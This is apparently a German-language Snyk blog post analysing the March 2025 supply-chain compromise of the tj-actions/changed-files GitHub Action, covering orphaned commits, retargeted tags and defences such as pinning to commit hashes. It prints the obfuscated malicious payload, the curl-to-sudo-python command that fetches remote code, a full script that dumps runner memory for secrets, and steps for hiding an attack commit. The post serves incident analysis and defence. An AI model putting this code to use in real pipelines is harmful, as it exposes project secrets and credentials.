Skip to main content

Rekonstruktion des Kompromisses bei der GitHub Action „changed-files“ von TJ Actions

Artikel von

17. März 2025

0 Min. Lesezeit

Am Freitagnachmittag, dem 14. März 2025, wurden erste Einzelheiten zu einem schwerwiegenden Sicherheits-Exploit in einer beliebten GitHub Action namens changed files (tj-actions/changed-files) bekannt. Rund 23.000 GitHub-Repositories nutzen diese Action in ihren CI- und DevOps-Workflows. Damit lässt sich nachverfolgen, welche Dateien sich zwischen Branches und Commits geändert haben.

Ein Angreifer mit Schreibberechtigungen für das Action-Repository erstellte einen Commit, durch den verschlüsselte Secrets in den GitHub-Action-Logs im Klartext erschienen. Dies hätte zu einem verheerenden Sicherheitsvorfall in einem öffentlichen Repository führen können, da auch die Action-Logs öffentlich sind.

Zunächst möchten wir unseren Kunden versichern, dass Snyk eine Bewertung unserer Infrastruktur abgeschlossen hat. Dabei konnten wir bestätigen, dass wir keine betroffene Version der anfälligen Bibliothek verwenden. Snyk ist daher vor dieser Schwachstelle geschützt.

Dennoch möchten wir Ihnen Einblicke in die eingehende Analyse der Schwachstelle durch Snyk geben, erklären, wie sie funktioniert, und sinnvolle Gegenmaßnahmen vorstellen. Darum geht es in diesem Blogbeitrag.

Zum Zeitpunkt der Veröffentlichung ist nicht bekannt, warum der Angreifer Schreibberechtigungen für das Repository hatte, in dem sich der Code dieser GitHub Action befindet. Die folgenden Faktoren ermöglichten den Angriff zusätzlich zu den Schreibberechtigungen:

  • Vorhandene Release-Tags so ändern, dass sie auf den Angriffs-Commit verweisen

  • Den Angriffs-Commit von allen Branches, einschließlich des Main-Branches, abkoppeln

Diese Faktoren verschleierten den Angriff ein Stück weit. Der Angriff beruhte darauf, einen externen Netzwerkaufruf zum Herunterladen des Angriffscodes auszuführen. Dadurch wurde er letztlich von Diensten entdeckt, die ungewöhnliche Netzwerkaktivitäten überwachen.

Gegen Ende dieses Beitrags führe ich den Angriff (auf ungefährliche Weise) nach, damit Sie besser verstehen, wie er möglich war und wie Sie sich davor schützen können.

Verwaiste Git-Commits

Probieren Sie es als Übung aus: Erstellen Sie ein neues Repository auf GitHub und klonen Sie es lokal. Erstellen Sie einen Branch und pushen Sie ihn zu GitHub. Notieren Sie sich den Commit-Hash. Löschen Sie anschließend den Remote-Branch. Sie können diesen Commit weiterhin aufrufen, obwohl er keinem vorhandenen Branch mehr zugeordnet ist.

Hier die oben beschriebenen Schritte:

1. Erstellen Sie ein Repository auf GitHub

2. Erstellen Sie ein lokales Repository und fügen Sie das gerade erstellte GitHub-Remote hinzu

echo "# orhpan-branch-test" >> README.md
git init
git add README.md
git commit -m "first commit"
git branch -M main
git remote add origin git@github.com:dogeared/orhpan-branch-test.git
git push -u origin main

3. Erstellen Sie einen Branch

git checkout -b orphan

4. Fügen Sie einen Commit hinzu und pushen Sie ihn

echo hello > hello.txt
git add -A .
git commit -m "hello"
git push origin orphan

5. Notieren Sie sich den Commit auf GitHub

https://github.com/dogeared/orhpan-branch-test/commit/c7e359462f6afc144d7b4da6eb277d0338c675c9
GitHub-Commit-Seite für den Commit „hello“ c7e3594 im Branch „orphan“ des Repositorys „orhpan-branch-test“.

6. Löschen Sie den Branch auf GitHub

Screenshot des Bereichs „Your branches“ in einem GitHub-Repository. Der Branch „orphan“ ist als „Deleted now“ markiert und weist den Status „1 Commit voraus“ auf.

7. Rufen Sie die URL des zuvor gespeicherten Commits auf

Screenshot der GitHub-Commit-Seite für c7e3594 mit dem Hinweis: „Dieser Commit gehört zu keinem Branch in diesem Repository …“ und der Commit-Nachricht „hello“.

So sieht ein verwaister Branch aus. Er ist einer der entscheidenden Faktoren, die den Angriff auf den Workflow der GitHub Action changes-files ermöglichten.

Der andere entscheidende Faktor war das Verschieben von Release-Tags im Repository.

GitHub-Release-Tags

Entwicklerinnen und Entwickler messen GitHub-Release-Tags leider manchmal eine besondere Bedeutung bei. Wenn uns gesagt wird, wir sollen v35 eines bestimmten Releases verwenden, verweisen wir auf dieses Tag und gehen davon aus, genau diese Version zu erhalten. Unter normalen Umständen ist das eine vernünftige Annahme. GitHub-Tags sind jedoch lediglich praktische Zeichenfolgen, die auf einen bestimmten Commit verweisen – ohne Magie, selbst bei sorgfältiger semantischer Versionierung. Hier sehen Sie einen Auszug aus einer GitHub-Action-YAML-Datei, die auf die Action changes-files verweist:

name: "tj-action changed-files"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v35

Entscheidend ist die letzte Zeile, in der auf ein bestimmtes Tag des GitHub-Action-Repositorys verwiesen wird. Der Angreifer löschte die ursprünglichen Versions-Tags und verschob sie auf den bösartigen Commit, der verwaist war. So leitete er mehrere vorhandene Release-Tags auf seinen schädlichen Commit um und vergrößerte damit die Auswirkungen des Angriffs.

Anhand des vorherigen Beispiels lässt sich das veranschaulichen. Auf meinem lokalen Rechner tagge ich den Branch, an dem ich gearbeitet habe:

git tag v35
git push --tags

Auf GitHub ist nun ein Tag mit dem verwaisten Commit verknüpft. Ich kann folgende Adresse aufrufen:

https://github.com/dogeared/orhpan-branch-test/tree/v35

Dann wird Folgendes angezeigt:

Screenshot der Commit-Liste eines GitHub-Repositorys mit dem Warnhinweis: „Dieser Commit gehört zu keinem Branch …“. Zu sehen sind die Commits „hello“ und „first commit“ von Nutzer „dogeared“.

Der Angreifer konnte also Menschen auf den bösartigen Commit „verweisen“, indem er einfach das Repository des Codes der GitHub Action changed-files aktualisierte.

Entscheidend ist: Ein böswilliger Akteur hatte Schreibzugriff auf ein Repository, auf das sich 23.000 andere Repositorys verließen. Der Angreifer verschleierte seine Aktivitäten zwar geschickt, doch ohne Schreibzugriff hätte er den Angriff niemals durchführen können.

Sehen wir uns genauer an, worauf es der Angreifer abgesehen hatte.

Secrets offenlegen

Secrets werden häufig benötigt, damit Build-Skripte mit anderen Diensten interagieren oder notwendige Schlüssel für Builds und Tests bereitstellen können.

GitHub verfügt über ein ausgeklügeltes Verschlüsselungsverfahren zur Verwaltung von Secrets. Sie können ein Secret auf Repository-Ebene festlegen und in Ihrem Build-Skript darauf zugreifen, ohne dass es jemals im Build-Log erscheint oder offengelegt wird. Im Hintergrund entschlüsselt GitHub das Secret und stellt es Ihrem Build-Skript als Referenz zur Verfügung. In der Praxis könnte eine Zeile in Ihrer GitHub-Action-YAML-Datei etwa so aussehen:

steps:
  - name: Hello world action
    with: # Set the secret as an input
      super_secret: ${{ secrets.SuperSecret }}

Der restliche Teil des Skripts kann nun auf das Secret zugreifen, ohne dass es im Skript selbst oder in den Logs erscheinen muss.

Der Angreifer änderte TJs GitHub Action changed-files, sodass ein Skript von einem entfernten Speicherort heruntergeladen, auf der virtuellen Maschine der laufenden GitHub Action lokal gespeichert und anschließend ausgeführt wurde. Das geschah in zwei Schritten. Der erste war der bösartige, inzwischen gelöschte verwaiste Commit. Hier sehen Sie den entscheidenden Teil dieses Git-Commits:

async function updateFeatures(token) {
     const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
         ignoreReturnCode: true,
         silent: true
     });
     core.info(stdout);   
 }

Wenn Sie die obige lange Zeichenfolge wie im Skript mit Base64 decodieren, erhalten Sie:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Das dort verlinkte Gist wurde inzwischen entfernt. Hier ist jedoch das Python-Skript, das sich darin befand:

#!/usr/bin/env python3

import os
import sys
import re

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start

                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

Das obige Skript wurde mit Root-Rechten und dem Befehl sudo ausgeführt. Es durchsuchte den Prozessspeicher nach entschlüsselten Secrets und gab sie im Actions-Log aus. Das ist äußerst schädlich, denn GitHub-Actions-Logs in öffentlichen GitHub-Repositories sind standardmäßig ebenfalls öffentlich.

Ein Beitrag auf Hacker News (zu finden hier), der am 14. März veröffentlicht wurde, deutete darauf hin, dass StepSecurity den Exploit entdeckt hatte. Dieser Dienst überwacht unter anderem nicht autorisierte Netzwerkaufrufe in GitHub Actions. Der Autor und Maintainer der beliebten GitHub Action kommentierte den Beitrag und schilderte die Ereignisse. Als Erstes nannte er den Schreibzugriff des Angreifers auf das Repository.

Dank der schnellen Entdeckung des Exploits und der Reaktion des Maintainers wurde die Schwachstelle rasch behoben und der Angriff gestoppt. Nutzerinnen und Nutzer der GitHub Action changed-files sollten jedoch ihre Logs seit dem 14. März überprüfen, um sicherzustellen, dass keine Secrets in öffentlichen Actions-Logs offengelegt wurden.

Der Exploit in Aktion

Ich habe mehrere Repositorys eingerichtet, um diesen Exploit möglichst genau so nachzustellen, wie es der Angreifer konfiguriert hatte.

Im ersten Git-Repository ist die benutzerdefinierte GitHub Action definiert: tj-changed-files-action-goof.

Die Datei index.js ist unkompliziert und basiert größtenteils auf dem GitHub-Tutorial zum Erstellen von Actions:

const core = require('@actions/core');
const github = require('@actions/github');

(async function run() {
  try {
    // `who-to-greet` input defined in action metadata file
    const nameToGreet = core.getInput('who-to-greet');
    console.log(`Hello ${nameToGreet}!`);
    const time = (new Date()).toTimeString();
    core.setOutput("time", time);
  } catch (error) {
    core.setFailed(error.message);
  }
})();

Sie erwartet eine Eingabe namens who-to-greet und gibt Datum und Uhrzeit aus.

Das andere Repository enthält nur eine Datei: eine YAML-Datei, die so konfiguriert ist, dass sie die benutzerdefinierte GitHub Action ausführt. Außerdem ist im Repository ein Secret namens A_SECRET festgelegt. Das Repository heißt tj-changed-files-action-exploit-goof. In der Datei .github/workflows/main.yml sehen Sie Folgendes:

name: CI

on:
 "main" branch
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

  workflow_dispatch:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - name: Run a one-line script
        run: echo Hello, world!

      - name: A Goof Step
        id: goof
        uses: snyk-labs/tj-changed-files-action-goof@v1.0
        with:
          a_secret: ${{ secrets.A_SECRET }}
          who-to-greet: 'dogeared'

      - name: Get the output time
        run: echo "The time was ${{ steps.goof.outputs.time }}"

Dabei werden einige Dinge erledigt:

  1. Eine „Hello, world!“-Nachricht ausgeben

  2. Die GitHub Action tj-changed-files-action-goof ausführen

  3. Die von der Action ermittelte Uhrzeit ausgeben. Außerdem wird das Repository-Secret wie vorgesehen in einer GitHub Action verwendet.

Vergleichen Sie die Ausgabe von A Goof Step aus zwei verschiedenen Durchläufen. Zuerst diesen:

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
Hello dogeared!

Als Nächstes diesen:

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
SWtGZlUwVkRVa1ZVSWpwN0luWmhiSFZsSWpvaVUzVndaWElnVTJWamNtVjBJRk5sWTNKbGRDRWlMQ0pwYzFObFkzSmxkQ0k2ZEhKMVpYMEs=

Hello dogeared!

In beiden Fällen wird snyk-labs/tj-changed-files-action-goof@v1.0 ausgeführt. Beim zweiten Durchlauf sehen Sie die Ausgabe der kompromittierten GitHub Action. Decodieren wir die codierte Zeichenfolge zweimal mit Base64, erhalten wir:

"A_SECRET":{"value":"Super Secret Secret!","isSecret":true}

In beiden Durchläufen sehen Sie, dass GitHub Actions den Wert des referenzierten Secrets schützt: a_secret: ***. Der Exploit-Code liest die Secrets jedoch als Klartext direkt aus dem Systemspeicher aus.

Wenn wir uns das Tag v1.0 im Repository tj-changed-files-action-goof noch einmal ansehen, erkennen wir einen ähnlichen verwaisten Branch wie beim ursprünglichen Exploit:

Screenshot der Dateiliste des GitHub-Repositorys „tj-changed-files-action-goof“ mit dem Warnhinweis „Dieser Commit gehört zu keinem Branch …“. Zu sehen sind Dateien wie „action.yml“ und „index.js“ sowie das ausgewählte Tag „v1.0“.

Ursprünglich verwies v1.0 auf den Branch main. Für die Simulation des Exploits habe ich das Tag jedoch einfach auf einen Branch attack umgeleitet und diesen anschließend verwaist:

git push origin :v1.0 # delete the original tag on main
git tag -d v1.0 # delete the local tag
git checkout -b attack # create the attack branch

# update index.js to include the malicious code

ncc build index.js # create a new version of dist/index.js
git add dist/index.js
git commit -m "attack"
git push origin attack # push the attack branch up to GitHub
git tag v1.0 # put the v1.0 tag on the attack branch
git push origin --tags # push the v1.0 tag to GitHub
git push origin :attack 
# ^^ DELETE the attack branch on GitHub making the v1.0 tag orphaned

Der letzte Kniff, den man leicht übersieht, ist der Befehl ncc build index.js. Er aktualisiert dist/index.js, und nur diese aktualisierte Datei wird committet. Die GitHub Action führt tatsächlich die mit Webpack gebündelte Datei dist/index.js aus. Wenn Sie sich also die Datei index.js im (verwaisten) Branch v1.0 ansehen, scheint sich nichts geändert zu haben.

Hier sehen Sie den Diff des Webpack-Codes in dist/index.js auf v1.0 im Vergleich zum Branch main.

Schützen Sie Ihre GitHub Actions

Ich bin sicher, dass weitere Details darüber bekannt werden, wie oder warum der Angreifer Schreibzugriff auf dieses beliebte GitHub-Action-Repository hatte.

Es ist gängige Praxis, sich auf Git-Tags als Referenzversionen verschiedener Bibliotheken zu verlassen, die wir verwenden.

Es gibt mehrere Möglichkeiten, wie sich dieser konkrete Exploit hätte verhindern lassen.

1. Verweisen Sie bei benutzerdefinierten, externen GitHub Actions direkt auf den Commit-Hash

Zum Beispiel könnten Sie Folgendes verwenden:

uses: snyk-labs/tj-changed-files-action-goof@6eb82f8276131aa04985f48b1d74e020133e22e5

Damit wird direkt auf den Commit-Hash statt auf ein Tag verwiesen. Das ist zwar unüblich, würde aber sicherstellen, dass die ausgeführte Version der benutzerdefinierten GitHub Action tatsächlich der von Ihnen erwarteten Version entspricht.

2. Verwenden Sie zusätzliche benutzerdefinierte GitHub Actions, um unerwartete Netzwerkaufrufe zu erkennen. So wurde StepSecurity auf den Exploit aufmerksam.

Es ist ermutigend zu sehen, wie sich eine Community aus Open-Source-Mitwirkenden, Unternehmen und Einzelpersonen darauf stürzt, neue Exploits wie diesen zu finden und zu beheben.

Snyk hat bereits früher Forschungsergebnisse und Best Practices zu GitHub Actions veröffentlicht. Wir empfehlen Ihnen dringend, daraus zu lernen und Ihre DevSecOps- und Sicherheitspraktiken zu überprüfen:

Entdecken Sie den Stand der Open-Source-Sicherheit

Erfahren Sie mehr über aktuelle Trends und Ansätze für Open-Source-Software und Supply-Chain-Sicherheit.